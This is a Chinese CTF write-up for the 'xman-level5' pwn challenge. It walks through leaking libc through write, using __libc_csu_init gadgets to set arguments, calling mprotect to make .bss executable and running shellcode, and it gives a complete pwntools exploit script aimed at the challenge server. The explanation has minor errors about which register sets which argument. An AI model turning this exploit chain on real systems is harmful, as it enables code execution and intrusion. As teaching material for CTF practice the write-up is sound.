xman-level5-mprotect利用

xman-level5

题目描述:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题

无法用system和execve函数,只能通过shellcode来进行getshell。

但是开了NX保护。不可以执行shellcode

xman-level5-mprotect利用_第1张图片

但是题目给了提示使用mmap函数和mprotect。

我们可以使用mprotect 函数,将bss段改为可执行权限,并且将shellcode写在段上。

思路如下:

使用write函数泄露出write的got表地址,通过给定的libc计算出mprotect的偏移,最后通过mprotect函数改变bss段执行权限,将shellcode写入bss段 并执行

在这里插入图片描述

但是出现了一点问题没有找到有关pop rdx的操作,需要用到第三个参数的函数有3个,read和write函数使用劫持的前一个read函数的第三个参数0x200即可,而mmap第三个参数是用来修改权限用的。

但我们可以利用一下x64下的__libc_scu_init中的操作,这个函数是用来对libc进行初始化操作的,一般的程序都会去调用libc函数,在其中找到有关于rdx操作的关键部分

.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn

通过r13赋值给第三个参数 r14赋值给第二个参数 r15赋值给第三个参数

我们只需要控制r13,r14,15这三个参数的值即可

在这里插入图片描述

一下就找到了

参数设置好之后后面有一个call,这个call取的是一个地址里的值并进行跳转,所以我们需要将mprotect地址也写在bss段 call这个bss段即可跳转到mprotect

接着设置寄存器rbx为0,rbp为参数1避免执行多次函数,寄存器控制完毕。下面的rbx,rbp的操作正好在4006AA处有,恰好与r13,r14,r15重合

正好执行4006AA处的操作一次性执行即可

EXP如下

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#p=process('./level3_x64')
p=remote('pwn2.jarvisoj.com','9884')
libc=ELF('./libc-2.19.so')
elf=ELF('./level3_x64')
context.log_level='debug'
bss_addr=elf.bss()

print hex(bss_addr)

retn_addr=elf.symbols['vulnerable_function']
pop_rdi_retn=0x4006b3
pop_rsi_r15_retn=0x4006b1
rop_chain=0x4006AA
mp_start=0x400690


###leak the wrire got to get mprotect_address
p.recvuntil('Input:\n')
payload='A'*0x88
payload+=p64(pop_rdi_retn)
payload+=p64(1)
payload+=p64(pop_rsi_r15_retn)
payload+=p64(elf.got['write'])
payload+=p64(0xdeadbeef)
payload+=p64(elf.plt['write'])
payload+=p64(retn_addr)
p.send(payload)
write_addr=u64(p.recv(8))
print hex(write_addr)
libc_base=write_addr-libc.symbols['write']
mprotect_addr=libc_base+libc.symbols['mprotect']
print hex(mprotect_addr)

#gdb.attach(p)
##write shellcode and mprotect_add to bss
p.recvuntil('Input:\n')
payload2='A'*0x88
shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh(),arch='amd64')
print len(shellcode)
payload2+=p64(pop_rdi_retn)
payload2+=p64(0)
payload2+=p64(pop_rsi_r15_retn)
payload2+=p64(bss_addr)
payload2+=p64(0xdeadbeef)
payload2+=p64(elf.plt['read'])
payload2+=p64(retn_addr)
p.send(payload2)
sleep(2)
#gdb.attach(p)
p.send(shellcode)
##mprotect 

p.recvuntil('Input:\n')
payload3='A'*0x88
payload3+=p64(rop_chain)#rbx,rbp,r12,r13.r14,r15
payload3+=p64(0)
payload3+=p64(1)
payload3+=p64(bss_addr)
payload3+=p64(7)+p64(0x1000)+p64(0x600000)
payload3+=p64(mp_start)
payload3+='A'*56
payload3+=p64(bss_addr+8)

p.sendline(payload3)
p.interactive()

你可能感兴趣的:(CTF-PWN)